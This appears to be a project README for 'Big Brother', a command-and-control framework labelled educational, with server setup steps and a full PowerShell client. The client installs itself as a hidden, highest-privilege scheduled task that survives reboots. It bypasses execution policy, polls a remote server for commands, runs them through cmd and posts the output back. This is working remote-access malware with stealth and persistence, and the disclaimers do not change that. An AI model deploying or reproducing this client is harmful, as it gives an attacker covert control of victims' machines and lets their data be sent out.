Educational Remote Administration Framework for Cybersecurity Learning
"Big Brother is watching your endpoints"
THIS PROJECT IS FOR EDUCATIONAL PURPOSES ONLY
You may only use this system on:
- Machines you own
- Your own lab environments
- Systems where you have explicit written permission
Unauthorized access violates laws such as the Computer Fraud and Abuse Act (CFAA).
The author is not responsible for misuse or damages.
Big Brother is an educational framework that demonstrates how remote command and control systems work. It consists of:
- Node.js Server - Hosts a web dashboard and REST API
- MongoDB Database - Stores connected computers and command history
- PowerShell Client - Runs on Windows machines, polls server for commands
The name is inspired by George Orwell's "1984" - a reminder about surveillance and privacy.
- Web-based control panel with password authentication
- MongoDB database for storing clients and commands
- REST API for client communication
- Command execution and result tracking
- Online/offline status monitoring
- Silent background execution
- Persistence via Windows Scheduled Tasks (survives reboots)
- Automatic command polling every 3 seconds
- Command output capture and reporting
Download and install:
- Node.js (v18 or higher) - https://nodejs.org/
- Git - https://git-scm.com/
- MongoDB (only for local testing) - https://www.mongodb.com/try/download/community
git clone https://github.com/Nullit13/bigbrother.git
cd bigbrothernpm installCreate a file named .env in the project folder:
MONGO_URI=mongodb://127.0.0.1:27017/bigbrother
ADMIN_PASSWORD=your_secure_password
PORT=3000For MongoDB Atlas (cloud database - no need to run mongod):
MONGO_URI=mongodb+srv://username:password@cluster.mongodb.net/bigbrother
ADMIN_PASSWORD=your_secure_password
PORT=3000Option A - Local MongoDB:
mongod
npm startOption B - MongoDB Atlas:
npm startOption C - Deploy to Vercel:
npm install -g vercel
vercel --prodLogin:
- Username: admin
- Password: (from .env)
Replace http://localhost:3000 with your server URL.
$p="$env:APPDATA\bigbrother.ps1";@"
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12
Set-ExecutionPolicy Bypass -Scope Process -Force
`$S='http://localhost:3000'
`$C=`$env:COMPUTERNAME
while(`$true){
try{`$r=Invoke-RestMethod "`$S/api/child/`$C" -TimeoutSec 10
if(`$r.child -and `$r.commands){foreach(`$x in `$r.commands){`$o=cmd /c `$x.command 2>&1|Out-String
`$b=@{result=`$o}|ConvertTo-Json
Invoke-RestMethod "`$S/api/command/result/`$(`$r.child._id)/`$(`$x._id)" -Method POST -Body `$b -ContentType 'application/json' -TimeoutSec 5}}}
catch{}Start-Sleep 3}
"@|Out-File $p -Encoding UTF8;Unregister-ScheduledTask -TaskName "bigbrother" -ErrorAction SilentlyContinue -Confirm:$false|Out-Null;$A=New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -WindowStyle Hidden -File `"$p`"";$T=New-ScheduledTaskTrigger -AtLogon;$P=New-ScheduledTaskPrincipal -UserId "$env:USERDOMAIN\$env:USERNAME" -RunLevel Highest;$S=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;Register-ScheduledTask -TaskName "bigbrother" -Action $A -Trigger $T -Principal $P -Settings $S -Force|Out-Null;Start-ScheduledTask -TaskName "bigbrother"|Out-Null
- Open
http://localhost:3000/parent - Login with admin and your password
- Click on the computer name
- Type a command (ipconfig, whoami, dir)
- Click "Execute Command"
- Wait 3-10 seconds for results
Run PowerShell as Administrator:
Stop-ScheduledTask -TaskName "bigbrother" -ErrorAction SilentlyContinue; Unregister-ScheduledTask -TaskName "bigbrother" -Confirm:$false -ErrorAction SilentlyContinue; Remove-Item "$env:APPDATA\bigbrother.ps1" -Force -ErrorAction SilentlyContinue| Problem | Solution |
|---|---|
| Server won't start | Check .env file has MONGO_URI |
| No computers appear | Run PowerShell client on a Windows machine |
| Commands no results | Wait 10 seconds, refresh page |
Educational Use Only
Remember: With great power comes great responsibility. Use this knowledge to defend, not attack.